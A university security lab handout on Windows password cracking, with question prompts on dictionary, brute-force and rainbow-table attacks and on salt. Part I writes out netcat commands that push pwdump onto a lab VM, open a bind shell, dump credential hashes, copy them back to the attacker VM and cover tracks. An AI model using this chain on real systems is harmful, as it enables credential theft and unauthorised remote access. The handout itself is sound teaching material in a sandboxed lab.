IT430 Lab 10 – Password Cracking
Name __________________________, ______________________________

Directions:  Complete these tasks in groups of two.

Goals:  

- Understand the pros, cons and difference of relative speed of between dictionary, rainbow table and brute force attacks
- Understand the concept of adding “SALT” to a cryptographic algorithm to make a password more difficult to crack
Part I

Password Attacks
· IMPORTANT:  Open the Green-XP VM.  Take a snapshot then start the machine.  Set the Green-XP memory allocation to 512Mb.   Login as student (on the local machine) with password: GoNavy1!  Then do the same for Black-XP.  
· Set up Green-XP as 10.10.10.10 and Black-XP as 10.10.10.20 (and make sure Black-XP is named Black-XP)
· First set up some accounts.  In Black-XP set up accounts for Student1, Student2, and Student3 all with passwords GoNavy1!  If these accounts already exist, ensure that the passwords are changed to GoNavy1!
· Now,  go into Black-XP and change the password to student with the following command
net user student student
· First, we want to "steal" the password list for Windows.  It turns out some nice guy (with the name "fizzgig" has made this very easy if you either know any admin password or if you are in an admin cell machine via something like netcat with or without knowing the admin password.)
· In your own words what is pwdump?

· Now, Green-XP (today's attacker) doesn't know what the new passwords, but managed to get the user to click on an email which gave him the gift of netcat.  In order to use pwdump, you must run 3 files (pwdump, lsaext and pwservice) from an administrators account.
· So from Black-XP (you could be in via an exploit, or just had them click on the executable), c:\documents and settings\student\desktop you will listen for the pwdump and lsaext.dll files with  
 nc -l -p 80 > pwdump.exe
· Then from Green-XP c:\documents and settings\student\desktop you will send the files
nc 10.10.10.20 80 < "c:\ia image\pwdump\pwdumprelease\pwdump.exe"
· Wait about 10 seconds then control-c from Black-XP and nc -l -p 80 > lsaext.dll
· Then from Green-XP 
nc 10.10.10.20 80 <"c:\ia image\pwdump\pwdumprelease\lsaext.dll"
· Wait about 10 seconds then control-c from Black-XP and nc -l -p 80 > pwservice.exe
· Then from Green-XP 
nc 10.10.10.20 80 <"c:\ia image\pwdump\pwdumprelease\pwservice.exe"

· Wait about 10 seconds then control-c from Black-XP.  Now Black-XP has both files you need it to have.  Please verify that Black-XP has two files (with 180K and 60K respectively) in the student desktop, 
· So now we will get a shell from Green-XP into Black-XP WITHOUT knowing the Black-XP password (you have to pretend that you didn't just change it above).  

· From Black-XP nc -l -p 80 -e cmd and  from Green-XP nc 10.10.10.20 80

· You should end up "remotely" in Black-XP's c:\documents and settings\student\desktop (if not cd to that directory) Do an ipconfig /all to verify
· Now from that remote prompt type pwdump -o stolenpw.txt black-xp (If successful, it will give an indication like key length is 16, completed.)
· And finally, you want to pull that file over to Green-XP.  First, just for grins, check to see that the stolenpw.txt has stuff in it on Black-XP.  Then cntrl-c out of any netcat shells
· From Black-XP nc -l -p 80 < stolenpw.txt and then from Green-XP 
nc 10.10.10.20 80 > stolenpw.txt (note that the < has changed directions from previous commands since we are now sending from Black to Green)
· Now cover your tracks. (You could do with nc as proved above, but just delete the files you sent over to Black-XP)
· Now go back into Black-XP and change re-change the password net user student GoNavy1!
· Note:  with a little bit of ingenuity you could write a batch script that does all of these commands, delaying while the files are copied etc., all based on one click of the file from the user. 

· OK, we just did a lot of steps there, so summarize in your own words what you have just done and with what knowledge and permissions that were required.

· From Green-XP, Open the SamInside (Run->Programs->Security Tools->Password Cracking)   
· From SamInside Edit->Delete All Users.  Then File->Import from PWDUMP file (and import the stolenpw.txt file).  From Service->Options->Dictionary Attack ensure that none of the boxes are checked. From the next branch down at Service->Options->Dictionary Attack->Dictionaries ensure the dictionary checked is c:\IA Image\SamInside\eng_com.dic (this dictionary contains 60,000 common English words) .  Note it is now IA Image not IT430.  When all is good, hit OK
· List all of the  information that you immediately know about the users account status and passwords?

· From SamInside compare the Hash values of Student1, Student2 and Student3.  Are they exactly the same?

· Delete the Disabled Accounts with right click on account (no sense in spending time on an account that you can’t get into)

· From the ? determine what is the SAM and where is it located (hint: FAQ)?

· How many characters does the password for PSU contain?

· In your own words what is the difference between an LM Hash and an NT password (Hint: go to ?->FAQ)
· From the Wrench Icon check LM Hashes Attack and Dictionary Attack, then Service->Start Attack.
· After this is complete, what additional information do you know?
· What is your best guess for all passwords at this point (state your reason).  Use some logic and “social engineering” guesses
· Based on what you see (and the ?->FAQ) why are some of the LM passwords cracked on the right side, and some on the other side?  What is the “magic” number of characters at this split?

· Based on size of each field and number of possibilities (factor in case sensitivity) which password is easier to crack LM Hash passwords or NT(LM) passwords and why?
· Now go to the Wrench and do a NT Hash attack.  Did you find any new password information?  Why or why not?

· Now perform a Brute Force Attack on the LM Hash.

· While the Brute Force Attack is running in SamInside, Open the Ophcrack  (Run->Programs->Security Tools->Password Cracking).  Go to Help and Tables Tab.  What is a rainbow table?
· Ophcrack works off these rainbow tables.  Would you expect this to be faster or slower than a brute force attack and why?

· Given a machine with about 512K of memory, how many passwords of what length  and what complexity could easily be cracked using these rainbow tables?

· What is the primary limitation of a rainbow table?

· From your host go to rainbowcrack.com.  What are the requirements for getting your hands on these pre-computed rainbow tables?

· From Ophcrack (start->programs->security tools->password cracking) , Load->PWDUMP File.  Launch the attack.  How much time elapses  (bottom right of screen) prior to finding the first part of AF Hader’s password?  Given previous information, what is AF Hader’s password?  What is your best guess as to what the NT password (Case Sensitive) is for AF Hader?

· After 240 seconds, which password or password components do you now know?  (Don’t stop the attack yet)
· Which ones can you guess based on information from both the Rainbow Hash and the Dictionary Attack (from SamInside)?

· Go back to the SamInside….How much additional information has been presented?  Why?

· Given what you have noticed, what would be your recommendation for using LM Hash if not required for backward compatibility to Windows 95 or Windows 98?

· After 650 seconds, stop the attack and write down which NT passwords you have found (Case Sensitive)

· Based on these results what would the recommendation be for the Group Password Policy (size and complexity, types of characters)?
· From the SamInside go to Service->Options.  Look under brute force and describe how you could speed up the brute force attack.  How could you speed up this attack?
· Name three types of password attacks (as learned today) and their relative speed and any tradeoffs (time, memory etc.) for each (hmmm…sounds a lot like a test question doesn't it?)
· From SamInside go to Edit->Delete all Users.  Close out of SamInside
· From the Ophcrack, go to Load->From Local SAM.  Ensure all passwords are blank  Then Exit out of Ophcrack

· Shut down the VM images, go to VM->Revert to image then and ONLY then can you delete your images.
· Part II.  Crypto Math / Hash functions (Show all of your work / math equations)
· If a password is 5 characters long and allows upper and lower case letters only, how many different password combinations are possible?
· If an administrator cracked the passwords and then accidentally left the results in a file or a cache what type of attack (as we have discussed in class) have you made very easy for the would be attacker?

· With our processors we are going through about 9 million passwords per second.  What is the worst case time to crack a 5 character password allowing only upper and lower case letters (52 characters) in seconds?
· Given the same processor, what is the worst case time to crack a 12 character password allowing upper, lower case and numbers in years?
· The contents of a file reads Go Navy  If the hashing function is made by add the ASCII (Decimal) values (look up on google using the host computer) what would the hash be (pay attention to upper/lower case and space?
· If you knew that this hash was produced using this function, and you further knew that the input was exactly 7 characters long, how could you conceivable decipher the code?

· A legitimate hash function produces a number or fingerprint for a given file/set of characters etc.  A “good” hash function can produce a unique value that is easy (for a computer) to compute (“hash”), but difficult to “unhash” 

· Is this a legitimate hash function (based on the definition of a hash), is it a “good” hash function and why?

· If instead of the above function, we had you add the ASCII (Decimal) values and place the entire answer to the 7th power, why would this be a better hash function (in terms of uniqueness, ease of computing, difficulty in “unhashing” and difficulty in breaking the code?  (hmmm….another one that sounds amazingly like it belongs on a test)
· In your own words, what is “salt” as it relates to cryptography?  How does “salt” protect passwords in Unix?  How does “salt” help protect against rainbow table lookups (Hint: http://en.wikipedia.org/wiki/Salt_(cryptography) )

· Based on what you wrote down earlier about Student1, Student2 and Student3 Windows LM hashes, do you think they use “salt”.  Why or Why not?

· Ok, that's a wrap…you are now well on your way to thinking like an evil hacker (or a concerned system administrator)

· Standard Rules apply….you know the drill…Cluck like a chicken for three seconds then revert to your image and then and ONLY then delete your image and turn in this lab to your instructor for a grade.
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